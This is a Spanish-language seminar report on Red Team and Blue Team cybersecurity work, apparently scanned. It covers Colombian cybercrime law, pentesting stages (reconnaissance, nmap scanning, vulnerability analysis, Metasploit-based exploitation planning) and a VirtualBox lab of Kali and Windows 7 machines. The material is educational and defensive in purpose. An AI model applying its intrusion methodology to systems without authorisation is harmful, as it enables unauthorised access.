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GLOSARIO

BLUE TEAM: Grupo de especialistas en aspectos de seguridad informética que se
orientan de forma defensiva valorando las amenazas y riesgos a los cuales se puede
ver enfrentados los sistemas o infraestructura tecnoldgica, realizando actividades de

mitigacion y contencién de ataques informaticos.

EXPLOIT: Puede ser una serie de cédigo o software disefiado para conseguir el control
de equipos o apoderarse de datos de red por medio del aprovechamiento de

vulnerabilidades o fallas de seguridad existentes en los sistemas.

EXPLOITDB: Permite realizar la consulta de la informacion del cddigo de
vulnerabilidad que arrojo Legion, se despliegan datos de la criticidad, explotabilidad,
exploit, impacto, vectores de ataque, etc. Adicionalmente alli se ubico la informacion de
metasploit y el ID que define el comando a utilizar para realizar la explotacion de dicha

vulnerabilidad.

HARDENING: Expresion que se utiliza para describir las actividades de aseguramiento
o fortalecimiento en los aspectos de seguridad de una plataforma tecnoldgica buscando

disminuir las posibilidades de ataques informaticos.

LEGION: Esta herramienta permite realizar un analisis de las vulnerabilidades arrojando
una serie de informacion como codigos de vulnerabilidad que permiten documentarse

frente a la consistencia y explotabilidad de las mismas.

METASPLOIT: Esta herramienta esta basada en codigo abierto y tiene posibilidades
de: escanear e importar datos, realizar escaneos de descubrimiento, explotar datos,
explotacion manual, gestionar sesiones, integrar escaneo Nexpose, gestionar
credenciales, pivote proxy, médulos post explotacion, interfaz web, ademas es un

marco de pruebas de intrusion muy utilizado a nivel mundial; el éxito esta en la



colaboracion conformada dentro de la comunidad que se encarga no solo de la
verificacion de vulnerabilidades, administracion de validaciones en seguridad y avances
en la concienciacion respecto a seguridad, sino que también arma y prepara las

defensas para siempre estar un paso mas alla frente a las amenazas emergentes.

NMAP: Instrumento de cédigo abierto con licencia GPL cuya funcién principal es apoyar

la explotacién de red y auditar la seguridad de las infraestructuras tecnolégicas.

PENTESTING: Es una metodologia por medio de la cual se ejecutan ataques
controlados a sistemas informaticos con el fin de valorar la seguridad e identificar

fallos, errores y debilidades a remediar.

RED TEAM: Grupo interdisciplinario de expertos en temas de seguridad informatica que
se orientan en la defensa de forma ofensiva por medio de la simulacion de ataques a la
infraestructura tecnoldgica que exploten vulnerabilidades en aplicaciones y sistemas de

una compainia.

VULNERABILIDAD INFORMATICA: debilidad, deterioro o falla en la seguridad en
plataformas de software o hardware que puede afectar e impactar la seguridad de la

informacion y la infraestructura tecnologica de una organizacion.



RESUMEN

El incremento de ataques informaticos a nivel mundial en los Ultimos afios ha generado
popularidad en los términos blueteam y redteam ya que estos equipos interdisciplinarios
son reclutados con el &nimo de velar por la proteccion y seguridad en la infraestructura

tecnoldgica de las organizaciones.

Este trabajo hace un recorrido por diferentes aspectos a tener en cuenta dentro de las
capacidades y conocimientos de los especialistas que conforman estos grupos de
profesionales; es asi como se indica la normatividad Colombiana referente a proteccion
de datos personales y delitos informaticos, se establecen las etapas de un Pentesting
para posteriormente aplicarlas en un caso simulado con la ejecucion de test a un banco
de trabajo implementado dentro del informe, se realiza un acercamiento a las
herramientas de ciberseguridad para aplicarlas en la ejecucion de un ataque dentro de
la infraestructura recreada, se efectla la evaluacion legal y ética de documentos
relacionados con la contratacion de los equipos, conceptos a tener en cuenta dentro de
la informacion relacionada con los equipos redteam, blueteam, diferencias con los
grupos de respuesta a incidentes, conceptos relacionados como SIEM, CIS controls,
herramientas para contencion de ataques y por ultimo la formulacion de
recomendaciones y conclusiones del ejercicio realizado dentro del seminario con base a

los conocimientos adquiridos.

Palabras clave: Blueteam, Redteam, hardening, Pentesting, Legislacion, delitos

informaticos, ataque, ciberseguridad, vulnerabilidades, herramientas de contencion.
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INTRODUCCION

El surgimiento de nuevas tecnologias, el auge de la computacion en la nube, la
disponibilidad de redes de alta velocidad, activos de informacion, datos de aplicaciones
corporativas viajando a través de la red, son algunos de los aspectos que en un primer
escenario brindan oportunidades de productividad y transformaciéon para las
organizaciones a nivel mundial; pero es inevitable un segundo escenario donde se
proporciona una amplia oportunidad de ataques cibernéticos aun por desarrollar,
conocer y explotar, que generan riesgos inminentes de seguridad, disponibilidad,

autenticidad y privacidad de los datos confidenciales y criticos de las compafiias.

Estas situaciones que exponen la infraestructura tecnologica a distintas amenazas tanto
externas como internas, crean una amplia necesidad de implementacion de equipos de
seguridad Redteam y Blueteam que generen estrategias para salvaguardar la
informacion con enfoques de revision, proteccion, deteccion, respuesta, mitigacion,
seguimiento y aseguramiento, en un ciclo continué que permita la integrabilidad y
retroalimentacion entre los dos equipos fortaleciendo barreras de seguridad que limiten
las posibilidades de ataque y que aborden actividades que permitan contener y

responder a posibles materializaciones.

Este informe se realiza en el marco del desarrollo del Seminario Especializado -
Equipos Estratégicos en Ciberseguridad - Red Team & Blue Team, en el cual por medio
del desarrollo de distintas actividades propuestas se pudieron abordar conocimientos
frente a la normatividad, metodologias y herramientas de ciberseguridad que sirven
como apoyo para el planteamiento de estrategias ofensivas y defensivas en los
contextos de vulnerabilidades y amenazas, conceptos relacionados con el desarrollo de
las funciones de estos equipos de defensa y buenas practicas que aporten al
aseguramiento y mitigaciéon de impactos frente a posibles incidentes de seguridad que

ocurran en las plataformas tecnolégicas a cargo.
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1. OBJETIVOS

1.1. OBJETIVO GENERAL

Elaborar un informe técnico que a partir del analisis ético, legal, creacion de un banco
de trabajo para la demostracion de posibles vulnerabilidades y profundizacién de
conceptos relacionados; permita el establecimiento de estrategias viables para la
contencion, formulacion de recomendaciones y conclusiones que puedan apoyar el

desarrollo de las actividades de los equipos Red Team & Blue Team.

1.2. OBJETIVOS ESPECIFICOS

e Conocer las actividades de los equipos Red Team & Blue Team en las
compafias partiendo de los fundamentos éticos y legales de la normatividad

Colombiana.

e Evidenciar las debilidades de una plataforma tecnoldgica utilizando mecanismos

y técnicas de intrusion.

e Proponer estrategias para contener ataques a partir de analisis de riesgos y

debilidades de la infraestructura tecnoldgica de TI.

e Formular recomendaciones que puedan apoyar y fortalecer la funcion y actividad
de endurecimiento y fortalecimiento de las infraestructuras tecnoldgicas a partir

del desarrollo de proyectos blueteam y redteam.
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2. PLANTEAMIENTO DEL PROBLEMA

2.1. DEFINICION DEL PROBLEMA

El estudio de las diferentes ramas relacionadas con la seguridad informatica
proporciona un amplio horizonte del estado de indefension en el que se pueden
encontrar las organizaciones que carecen de estrategias, conocimiento y
equipos interdisciplinarios que aborden actividades de aseguramiento y
problematicas de seguridad a las que se pueda enfrentar la organizacion.

Con todo esto surgen algunas inquietudes: ¢Estan los profesionales de la
informacion y seguridad informatica contextualizados con los términos de
blueteam y redteam? , ¢ Que conocimientos tienen las personas que estudian
el area de seguridad informatica sobre las funciones y responsabilidades de los
equipos blueteam y redteam?, en la experiencia personal, cuando empecé a
realizar este seminario de profundizacién no tenia ni idea del significado de
estos términos y por lo tanto tampoco tenia informacion respecto al perfil
profesional y requerimientos necesarios para poder aplicar a una vacante que

se relacione con las capacidades y gestidon de estos equipos de defensa.

Algunos profesionales con conocimientos en areas de seguridad informatica y
de la informacion, ignoran la existencia de herramientas de ciberseguridad que
pueden apoyar el desarrollo de las habilidades necesarias para aportar en la
construccion dentro de los equipos de defensa y fortalecimiento de nociones
gue contribuyan a la labor profesional y a sembrar la inquietud de alcanzar
dichas competencias para aplicar a la conformacién de uno de estos equipos

tan importantes hoy en dia para las organizaciones.
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2.2. JUSTIFICACION

Con la evolucion de las tecnologias y el crecimiento constante de niveles de ataques
cibernéticos y amenazas emergentes debido a la continua investigacion por parte de
cibertatacantes que cada vez son mas especializados y sofisticados; se acrecienta la
necesidad de conocimiento frente al tratamiento de amenazas y vulnerabilidades por
parte de los equipos interdisciplinarios que con su actividad pueden apalancar la toma
de decisiones de distintas indoles desde la seguridad organizacional hasta la
identificacion, divulgacion y tratamiento de amenazas con los tratados y comunidades

gue aportan a la ciberseguridad a nivel mundial.

Este trabajo estd dirigido a estudiantes y profesionales de areas de seguridad
informatica y de la informacion que desconocen la existencia de herramientas de
ciberseguridad y la conformacion de grupos de trabajo blueteam y redteam; sus
habilidades, funciones, procesos, tecnologias, perfiles profesionales y marco legal entre
otros temas de interés y que pueden ser utiles al momento del desarrollo de las
actividades estudiantiles, laborales o que pueden aportar conocimientos enfocados

desde su labor a distintos caminos no explorados hasta ahora.

El objetivo del informe es comprender las capacidades, funciones, conocimientos y
herramientas de los equipos blueteam y redteam para el desarrollo e implementacion
de estrategias encaminadas al aseguramiento y defensa de la infraestructura

tecnoldgica de las organizaciones partiendo de la ética, legislacion y buenas préacticas.
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3. METODOLOGIA

Este informe se desarrollo por medio de la ejecucion de cinco fases en las cuales se
distribuyeron las actividades de la siguiente manera:

Etapa 1: Comprendié el conocimiento de la normatividad colombiana frente a delitos
informaticos, proteccion de datos personales; se estudiaron las etapas de Pentesting y
definiciones de herramientas de ciberseguridad y por ultimo se configuro un banco de
trabajo para las préacticas de las etapas posteriores.

Etapa 2: Se realizé el analisis legal y ético del escenario que comprendia un contrato
empresarial para el reclutamiento de los integrantes de equipos redteam y blueteam en
una compaifia, verificando los articulos vulnerados frente a la ley 1273 de 2009; se
expusieron las posiciones frente a la aplicacion al cargo que ofrece la empresa y la
opinién frente a un caso real denominado “Operacion Andrémeda buggly”.

Etapa 3: Frente al escenario de un ataque ocurrido en la compafia se procedio a
exponer las herramientas con las cuales se pudo identificar y recopilar la informacién
del ataque enfocados en las etapas de Pentesting estudiadas en la fase 1, se analizo la
informacion que aporto para los descubrimientos del fallo, los impactos de este fallo en
la maquina afectada y la explotacion de la vulnerabilidad explicada en cada uno de los
pasos que se requirieron.

Etapa 4: Se presentaron las indagaciones a realizar en caso de ataques en tiempo real,
basados en argumentos técnicos, desde el equipo de redteam se presentaron las
medidas de hardenizacién para mitigar ataques futuros, se establecieron diferencias
entre el equipo blueteam y de respuesta a incidentes, la utilizacion de CIS en el equipo
de blueteam y se hizo una profundizacion frente a términos como SIEM y herramientas
de contencion de ataques.

Etapa 5: Compilacién de las actividades desarrolladas en las anteriores fases en el
informe que incluye la formulacién de recomendaciones que permitan el establecimiento
de estrategias para fortalecer aspectos de seguridad en las organizaciones y
conclusiones frente a los conocimientos adquiridos desde la perspectiva de la

ciberseguridad.
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4. MARCO TEORICO

4.1. LEGISLACION COLOMBIANA DE DELITOS INFORMATICOS PROTECCION
DE DATOS PERSONALES

Figura 1. Legislacion Colombiana delitos informaticos y proteccion de datos personales

N
*Del congreso de la Republica, esta precisa y establece los usos y acesos a mensajes de datos, comercio

electrénicoy firmas digitales; también se definen los organismos de certificacion ente otras
Ley 527 de [EEESS =
1999 J

~
*Por medio de la cual se originaron otros caracteristicos penales que se relacionan con delitos de indole

informaticay la proteccién en datos e informacion, especificando algunas penas de prision que oscilan
Ley 1273 hasta 120 meses y sanciones por el orden de los 1500 SMLMV.

de 2009 Y.
N
eDel congreso de la Republica, enmarca el derecho por constitucion que tienen todos los individuos
frente al manejo de su informacion (conocimiento, actualizacidn, rectificacion), recolectada en
ISR LTS  diferentes bancos de datos, asi como todos los derechos, autonomiay seguridades brindadas por la
de 2012 constituciénen los articulos 15y 20
J
N
e Esta ley tiene por objeto la creacion de la ley de transparenciay derechos para acceder a
lainformacion publica a nivel nacional, regula el derecho para acceder a informacidn publica,
Ley 1712 procedimientos para ejercer y aseguramiento tanto del derecho como excepciones relacionadas con la
publiciddad de informacion.
de 2014
J
N\

eEste reglamenta de forma parcial la ley 1581 de 2012 en donde se deroga de forma parcial el decreto
1081 de 2015. Los derechos constitucionales respecto al conocimiento, actualizaciény rectificacién de
informaciones recopilada en bases de datos, asi como todos los derechos, autonomiay seguridades
1377 de brindadas por la constitucion en los articulos 15 y 20

2013 )
N
eEste decreto es una reglamentacion parcial de la Ley 1712 de 2014 en donde se dictan disposiciiones
relacionadas con la gestién de informacion publica.
J
N
eModifica el decreto 1083 de 2015, este es el Unico reglamentario del sector de la funcién publica
respecto a la gestion definida en el articulo 133 de la ley 1753 de 2015.
1499 de )

2017

Fuente: Construccion propia autor
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4.2. ETAPAS PENTESTING

Para la implementacion de metodologias de Pentesting se tendr4 en cuenta la
referencia de ADALID Corp.! que plantea tres etapas principales en las cuales se divide

el proceso de ejecucion de las pruebas:

Figura 2. Etapas Pentesting

N

1. Planificacion de Pruebas »

Fuente: Construccion propia autor

4.2.1. Planificacion de Pruebas

Este procedimiento se realiza con el apoyo de la entidad duefia de la infraestructura a
validar, el proveedor o experto asesor que realiza las pruebas se encarga de entregar
los requisitos necesarios a la compafia o en su defecto al interventor encargado del

proceso. Esta planificacion esta a su vez compuesta por las siguientes sub- etapas:

1. Inventario de aplicativos Web: Es necesario
Figura 3. Inventario de aplicativos web ) |3 entidad realice un inventario de aplicativos
M 4 \ web que funcionen en la compafiia, esta informacion
s "_’“'f‘i . \ es un input importante para la realizacion de las
\» \ '\ Al pruebas y debe contener como minimo lo siguiente:
Ry web ( & . . .
e Direcciones IP asignadas y nombres tanto
'“""“"‘"’\ ;mm\ i ”‘,“‘\ interno como externo de publicacion.
‘\&k Ly g X R ¥ e Lenguajes de programacion y bases de datos si

aplican.
Afo de inicio de funcionamiento.
e Tiposy Procesos que soportan (apoyo, misional).

Fuente: http://www.pctltda.com/web/

1 ALCALDIA DE BOGOTA. Guardianes de la informacion Penetration Testing. [Sitio web]. [Consulta: 25 de agosto de
2021]. Disponible en: http://ticbogota.gov.co/sites/default/files/seguridad-de-la-informacion/ambito2. pdf
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Figura 4. Aplicativos cliente servidor 2. Aplicativos cliente\servidor: Como
insumo para la realizacion de las
pruebas, la entidad debe entregar este
inventario con al menos la siguiente
informacion:

e Direcciones IP asignadas y nombres
tanto interno como externo de
publicacion para los servidores.

e Lenguajes de programacion tanto
para clientes como servidores y
bases de datos si aplican.

Fuente: https://sites.google.com/site/lawedysus

fundamentoscompleto/home/cliente---servidor e Afio de inicio de funcionamiento.
e Tiposy Procesos que soportan
3. Especificar los activos informaticos (apoyo, misional).

para las pruebas: se gestiona una
reunion inicial con la compaifia en
donde se llevan a cabo las siguientes

tareas: Figura 5. Activos informaticos
e Resolucion de dudas frente a los E-mail S
. . . ., nirasiructure
activos elegidos para la realizacion de @
pruebas. Bp & Secuy
. . . Collaboration ‘ :
e Evitar aplicativos en los cuales no se Y W Teleghone
pueda gestionar una ventana de el ! ’ services

pruebas.
e La compaifia debe priorizar un orden

para las aplicaciones elegidas. .ﬂ

Audio
conferencing

corrupcion, pérdidas de informacion o @ Voice

disponibilidad en el desarrollo de las = A R~

pruebas, mitigaciones para estos Mabilty ‘ : )
-

eventos y planes de continuidad. . i
e Elegir diferentes tipos de aplicaciones application conferencing
en cuanto a variedad de desarrollos,
lenguajes de programacion,
middleware. Fuente: https://www.dtsecurity.net/enterprise-
e Definir el cronograma y duracién para communications.html
ejecucion de las pruebas.

tiempo para realizacion de las Caenda l

. . Instant
e Establecer posibles riesgos de Bl

4. Definicién de herramientas a utilizar para las pruebas: Con la informacion
entregada por la compafia frente a los aplicativos a probar y la aplicacién de la
cartilla Ambito 1 “Reconocimiento de area” se identifican las herramientas a utilizar
en cada uno de ellos.
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5. Elaboracion de propuesta para las pruebas: Esta propuesta es un informe
gerencial en el que se indican los aplicativos que se escogieron para la realizacion de
las pruebas, el cronograma que se llevara a cabo para la realizacion de las pruebas
con la respectiva duracion, indicar posibles riesgos de corrupcion, pérdidas de
informacion o disponibilidad en el desarrollo de las pruebas, mitigaciones para estos
eventos y planes de continuidad. Esta propuesta se presenta a la alta direccion de la
compafiia quien debera realizar la aprobacion por escrito para dar inicio al proyecto
de ejecucion de pruebas.

6. Definicién del cronograma: Este documento técnico contiene:

El personal involucrado en el acompafiamiento en el desarrollo de pruebas.

El apoyo, permisos, actividades preliminares y después de la ejecucion.

Activos de informacion seleccionados para las pruebas.

Informacién de los costos relacionados con la realizacién de las pruebas.
Herramientas que se utilizaran para cada uno de los test.

Resultado que se espera en los aplicativos frente a la realizacion de las pruebas.
Hora y fecha de realizacion, tiempos de ejecucion de pruebas y de
indisponibilidad de servicios.

Este documento serd entregado a la alta gerencia de la compaifia que estara
encaragada de definir y coordinar la realizacion de las mismas.

4.2.2. Realizacion de actividades para pruebas de Pentesting

Para la realizacion de las pruebas se tendran en cuenta algunas metodologias de

referencia como Ec-Council, OSSTM y pruebas de efectividad; las etapas propuestas

por ADALID Corp.? son las siguientes:

Figura 6. Actividades de pruebas Pentesting

3. Identificacion
T b i sistemas, puertos )
. abiertos, usuarios y a -y
s servicios

Fuente: ALCALDIA DE BOGOTA. Guardianes de la informacién Penetration Testing. Disponible en:
http://ticbogota.gov.co/sites/default/files/seguridad-de-la-informacion/ambito2. pdf

2 bid., p.19
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4.2.3. Reconocimiento

Para esta etapa se procede a realizar investigaciones en la pagina web de la compaifiia,
revisando informacién de utilidad como teléfonos, direcciones de email, proveedores,
empresas relacionadas, funcionarios, redes sociales, noticias relacionadas con posible
informacion filtrada sin intension que posiblemente conocen los empleados pero no es
de indole publica.

Validacion de mensajes e informacion publicada en internet referenciando a la
compaifiia y que esté relacionada con infraestructura tecnoldgica utilizada.

Busqueda de informacién en sitios whois que permitan identificar datos de contacto y
DNS, en Sur América se puede utilizar LACNIC que se encarga de asignacion de
recursos para numeracion en Internet.

Por medio de diferentes buscadores (Shodan, Bing, Yahoo, etc.)Y utilizacion de
Google hacking se puede tener acceso a informaciéon de la entidad y de igual manera
se debe validar informacion de archivos, metadatos y redes sociales (Facebook,

twitter), entre otros.

4.2.4. Escaneo de puertos, servicios y sistemas operativos

Para esta actividad es necesaria la reduccion de rangos de IPS a un listado de equipos
activos. Para ello es necesario realizar un barrido de ping o escaneo de ICMP para
localizar los equipos activos en red limitando los test a host encontrados. Esta etapa se
puede realizar con ayuda de Nmap utilizando el comando “-sn”: nmap —sn <Ip a
validar>, esto listara los host que responden al descubrimiento. Para escanear los
puertos activos se pueden utilizar esta herramienta también por medio de un escaneo
SYN o TCP. También se realiza un banner grabbing que permite establecer informacion
de sistemas operativos que puede dar informacion sobre la red y equipos, también se
puede conseguir informacion por medio de la huella de la pila TCP/IP que facilita dirigir

la configuracion de herramientas para analisis de vulnerabilidades.

20



4.2.5. Establecimiento y analisis de vulnerabilidades

Con la plena identificacion de sistemas operativos en los equipos, estos resultados
sirven para establecer la ruta del andlisis de vulnerabilidades. ElI administrador de
contenidos y los pluggins se pudieron haber establecido con el andlisis de banners, esto
puede dejar al descubierto informacion de vulnerabilidades existentes que si no han
sido remediadas puede ser un riesgo alto para la infraestructura.

Para realizar el escaneo de vulnerabilidades dentro de los dispositivos identificados se
pueden utilizar herramientas como Nessus, OpenVas, Nikto, entre otras.

4.25.1. Andlisis de aplicacién

Para realizar pruebas de seguridad en las aplicaciones web, puede utilizarse OWASP
ZAP que se basa en java y a través de una interface gréafica pone a disposicion del
usuario diferentes funciones para la ejecucion de ataques a las aplicaciones con una

serie de complementos todo en uno.
4.2.5.2. Andlisis de trafico en las aplicaciones

Esta validacion permite establecer como viaja la informacion de la aplicacion, si viajan
en claro o cifrados; si la respuesta es la primera puede estar la informacién de los
usuarios comprometida. Para efectuar esta tarea se puede realizar con Wireshark,
activando la escucha de la interface que pueda acceder al trafico de la aplicacion; con
esto la herramienta empieza a realizar capturas de todos los paquetes que viajan por la

red y permite realizar los andlisis correspondientes.
4.2.5.3. Plan de Explotacién de vulnerabilidades

Con el resultado de las vulnerabilidades que se identificaron se debe establecer la
clasificacion de acuerdo a la criticidad, tipo y la existencia de exploit de acuerdo a la

validacion en paginas comohttps://www.rapid7.com/db y https://www.exploit-

db.com/search/. Las vulnerabilidades que presenten exploit disponible se clasificaran en
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cuatro grupos: las que se puedan gestionar remotamente con exploits remotos, los que
necesitan acceso local a la maquina, los que explotan debilidades de los aplicativos
web y por Ultimo las que pueden generar indisponibilidad de servicio. El plan de
explotacion tendra como prioridades las vulnerabilidades que involucren un exploit
remoto que permita un acceso privilegiado al equipo o uno que permita acceder y
ejecutar un exploit local relacionado con vulnerabilidades identificadas en los sistemas;

posteriormente se listan las debilidades a explotar en el orden prioritario que se les dio.
4.2.6. Explotaciéon de vulnerabilidades

Empieza con la eleccion de las herramientas y exploits para explotar las debilidades
priorizadas; para la realizacion de estas actividades se elige el Metasploit y exploits a
aplicar en base a las vulnerabilidades encontradas y que se plantearon en el plan de
explotacion. Se configura cada una de las elecciones para atacar que tiene el
Metasploit con base a las vulnerabilidades y las versiones tanto de la aplicacion como
de servicios y sistemas operativos. El exploit es lanzado después de la configuracion en
el Metasploit al servidor objetivo, se recogen evidencias del resultado del ataque y la

informacion del Metasploit o las capturas que se evidencian en la explotacion.
4.2.7. Informes

Con base a las evidencias recolectadas en el desarrollo de las pruebas se realiza un

informe especificando los resultados que se obtuvieron.
4.2.8. Emision, entrega y exposicion de Informes

Esta etapa busca la realizacion de una presentacion técnica y gerencial que muestre los
resultados conseguidos en las pruebas de Pentesting que se ejecutaron en los
diferentes equipos y entidades seleccionadas y priorizadas.

Se expone un informe elaborado de acuerdo al contexto propuesto por la alta gerencia

de la entidad.
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4.3. DEFINICION DE HERRAMIENTAS DE CIBERSEGURIDAD

Las herramientas que permiten la realizacion de pruebas de penetracion testing son
fundamentales para gestionar la seguridad en las organizaciones; permiten abordar
problemas algunas veces desconocidos de manera proactiva y oportuna. A
continuacién se enumeran y explican algunas de ellas:

o Metasploit: Esta herramienta es un marco de pruebas de intrusién muy utilizado
a nivel mundial; el éxito esta en la colaboracion conformada dentro de la comunidad
gue se encarga no solo de la verificacion de vulnerabilidades, administracién de
validaciones en seguridad y avances en la concienciacidén respecto a seguridad, sino
gue también arma y prepara las defensas para siempre estar un paso mas alla frente a
las amenazas emergentes. Esta herramienta esta basada en codigo abierto y tiene
posibilidades de: escanear e importar datos, realizar escaneos de descubrimiento,
explotar datos, explotacion manual, gestionar sesiones, integrar escaneo Nexpose,
gestionar credenciales, pivote proxy, modulos post explotacion, interfaz web.

o Nmap: Su funcion principal es apoyar la explotacion de red y auditar la seguridad
de las infraestructuras tecnologicas. Con los comandos disponibles se pueden hacer
descubrimiento de servidores, encontrar puertos abiertos en los servidores de destino,
puede validar los servicios que se estan realizando en el host, puede descubrir
sistemas operativos, versiones utilizadas en los servidores y se pueden identificar
algunas caracteristicas de hardware del equipo incluido en la prueba.

o OpenVas: Esta herramienta es un marco de integracion de servicios y
herramientas de scanner que permiten gestionar identificar y gestionar vulnerabilidades
de seguridad. Dentro de sus principales caracteristicas se pueden escanear diferentes
host de manera simultanea, tiene soporte SSL para OPT, opcionalmente se puede
habilitar el soporte WMI, existe la posibilidad de gestionar notas en el resultado de
escaneo, gestionar falsos positivos, programar los escaneos y gestionar usuarios.

o Servicio en linea ExploitDB: Este recurso consiste en un almacén de datos de
exploits y pruebas de conceptos que la hace mas util para usuarios que requieren

informacion procesable de forma rapida. Contiene una base de datos de pirateria de
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Google con contenido clasificado en consultas de motores de blusqueda que se ha
dispuesto para el descubrimiento de informacion en algunas ocasiones confidencial
puesta al publico en internet. La opcion Exploit Database en GitHub incluye searchsploit
gue posibilita tener una copia de Exploit Database disponible en cualquier lugar ya que
permite realizar las busquedas en detalle por medio de la copia del repositorio local que
se extrajo.

. Servicio en linea CVE: Es un proyecto que tiene como misién la identificacion,
definicién y catalogacion de vulnerabilidades de ciberseguridad que son de divulgacion
publica. Se genera un registro CVE para cada debilidad en el catalogo. Los asociados
realizan la publicacién de registros CVE con el &nimo de comunicar las descripciones
de las vulnerabilidades encontradas y los profesionales de tecnologia de informacion y
ciberseguridad hacen uso de este catalogo para asegurar el tratamiento de los mismos
inconvenientes coordinando los esfuerzos para el abordaje y priorizacion de

vulnerabilidades.

5. DESARROLLO DEL INFORME
5.1. INSTALACION DEL BANCO DE TRABAJO

Descarga herramienta virtual box y descarga imagenes .ova windows 7 x86, un
windows 7 x64, un kali linux.

Figura 7. Herramientas descargadas e instaladas

¥ Oracle VM VirtualBox Administrador
Archive  Maguina  Ayuda

I —

~_~ ESISeq. DB

el | 2 e

E!l'.. Win7-SE2020-X64
"7‘ (@) Apagada

[ELf | win7-5E2020
W7 @ apsgada

T= T F e F

(capy

e ) E

=

Fuente: El autor
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5.2. COMUNICACION DE LAS MAQUINAS WINDOWS CON KALI LINUX

Figura 8. Se valida la IP configurada en el Kali 192.168.1.13 con el comando Ifconfig.

= kali@kali: ~/Desktop

File Actions Edit View Help

)~ ~/Desktop ]
B i fFoe
etho: flags 4163<UP,BROADCAST , RUNNING , MULTICAST> mtu 1500
inet 192.168.1.13 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fesS0 ave:27ff:fe@e:348d prefixlen 64 scopeid 0x20<link>
ether 98:00:27:Qe:34:8d txqueuelen 1000 (Ethernet)
RX packets 694 bytes 46292 (45.2 KiB)
RX errors @ dropped 2 overruns © frame ©
TX packets 70 bytes 7026 (6.8 KiB)
TX errors © dropped © overruns @ carrier © collisions ©

lo: flags=73<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid ©x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 400 (49©0.0 B)
RX errors © dropped © overruns 0 frame ©
TX packets 8 bytes 400 (4900©.0 B)
TX errors @ dropped © overruns 0 carrier © collisions ©

)—[~/Desktop

Fuente: El autor

Figura 9. Desde la maquina Win 7-SE2020-X64 se realiza la validacién de la IP propia 192.168.1.14 y se realiza el
ping exitoso al Kali 192.168.1.13

BN Administradon CAWindowshsystem32hcmd.exe E@
-

Microsoft Windows [Wersiaon 6.1.76H811
Copyright <c?> 20T Microsoft Corporation. Reserwvados todos los derechos.

C-~Users-~usuario»ipconfig

m

Configuracidn IP de Windows

Ndaptador de Ethernet Conexidn de area local:

Suflao DHES eﬂp301flco para la conex1on.
Uinculo: direccidén IPuve local. . . 4842 :9ced:-4e3B8:-7BFB 211
Direccidén IPwv4. . . . . . . . - . 1?22.168.1.14

Mascara de subred . . . - - 255 .255.255 .8

Puerta de enlace predetermlnada - - 192 _168.1 .1

Adaptador de tinel iszatap.{5SBESBED2-9?BA4-—47?2-BER3-D289D73C246082:

Estado de los medios. . - = medios desconectados
Sufijo DHE especifico para la conex1on. - =

C:~Users usuarioX>ping 122 _168_.1 .13

Haciendo ping a 192_168_.1 .13 con 32 buytes de datos:
Respuesta desde 192_168_.1.13: butes=32 tiempo<lim
Respuesta desde 192.168.1.13: bytes=32 tiempo<lim
Rezspuesta desde 192 _168.1.13: bytes=32 tiempo<lim
Rezpuesta desde 192.168.1.13: bytes=32 tiempo<im

Ezstadisticas de ping para 192 _168_.1_.13:
Paguetes: enuviados = 4. recibidos = 4. perdidos
{@x perdidos>.

Tlempu., aproximados de ida v wvuelta en milisegundos:
Minimo = Bms. Maximo = Bms,. Media = Bms

Co~Users-usuwario >

Fuente: El autor
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Figura 10. Desde la maquina Win 7-SE2020 se realiza la validacién de la IP propia 192.168.1.15 y se realiza el ping
exitoso al Kali 192.168.1.13

BN C\Windows\system324cmd.exe === @
C:~Uzeprsruszuario>ipconf ig

Configuracion IP de Windows

Ndaptador de Ethernet Conexidn de Area local:

Sufijo DNS especifico para la conexidn. .
Uinculo: direccidn IPub local. . . : felB:

2815E:h2c1:5335:h53a211
Direcciaon IPvd. . . . . . . . . & .« . . : 192.168.1.15
Mascara de subred - . . . . . . . . . . = 256 .255.2550.A

Puerta de enlace predeterminada . . . . 192 . 168.1.1
Adaptador de tdnel isatap.{AGS8CFDA-2CEF-4786—-9B5A-536C989A76D52:
medios desconectados

Eztado de los me@ius. B T
Sufijo DNS especifico para la conexion. . =

C:xUszeprsusuarioping 192.168.1.13

ping a 192.168.1.13 con 32 bhytes de datos:
122.168.1.13: bytes=32 tiempo<im TTL=64
192 .168.1.13: bytes=32 tiempo<im TTL=64
192.168.1.13: bytes=32 tiempo<im TTL=64
Rezpuesta desde 192_168.1.13: bytes=32 tiempo<im TTL=64

Fztadisticas de ping para 192.168.1.13:
Pagquetes: enviados = 4, recibhidos = 4, perdidos = @
(Bx perdidos>.

Tiempos aproximados de ida v vuelta en milisegundos:
Minimo = Bms, Maximo = Bms, Media = Bms

C:sUserssusuarior

Fuente: El autor

5.3. MONTAJE BANCO DE TRABAJO Y CARACTERISTICAS TECNICAS DE
HARDWARE

El banco de datos se encuentra desplegado con una maquina virtual VirtualBox que

enlaza tres equipos con las siguientes caracteristicas:

Win 7-SE2020-X64:

Sistema operativo: Windows 7 (64 bit)
Memoria base: 4096 MB

Orden de arranque: Optica, disco duro
Memoria video: 21 MB
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Controlador Gréafico: VBoxSVGA
Controlador: SATA
Controlador USB: OHCI

Figura 11. Configuracién equipo Win 7-SE2020-X64

¥ Oracle VM VirtualBox Administrador
Archive  Maquina  Ayuda

— me e o9
4_/ a_ T
Mueva Configuracion Descartar  Iniciar

. ESISeg.DB =] General
MNombre: Win7-5E2020-X64
Er. 0 Sistema operativo:  Windows 7 (64-bit)
- .
‘,7. (1) = Grupos: ESI Seg. DB
Ii‘ Sistema
[ELf | win7-5E2020 Memoria base: 4096 MB
-J,'}'- @ Apagada Orden de arrangue:  Optica, Disco duro
Aceleracion: WT-x/AMD-V, Paginacidn anidada, Paravirtualizacion Hyper-v

I?!--.. Kali-Linux-2021.2-virtualbox-amd64

LY, @ Apagada
9] pantalla
Memoria de video: 21MB
Controlador grafico: VBOXSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacidn: Inhabilitado

Almacenamiento

Controlador: SATA
Puerto SATA O: Win7-5E2020-X64-disk00 1. vdi (Mormal, 50,00 GB)
Puerto SATA 1: [Unidad dptica] Vacio

o Audio

Controlador de anfitridn:  Windows DirectSound
Controlador: Audio Intel HD

EF Red

(5 uss

Controlador USB: OHCI

Filtros de dispositivos: 0 {0 activo)
Ij Carpetas compartidas
Minguno

@ Descripcién

Ninguno

Fuente: El autor

Win 7-SE2020:

Sistema operativo: Windows 7 (64 bit)

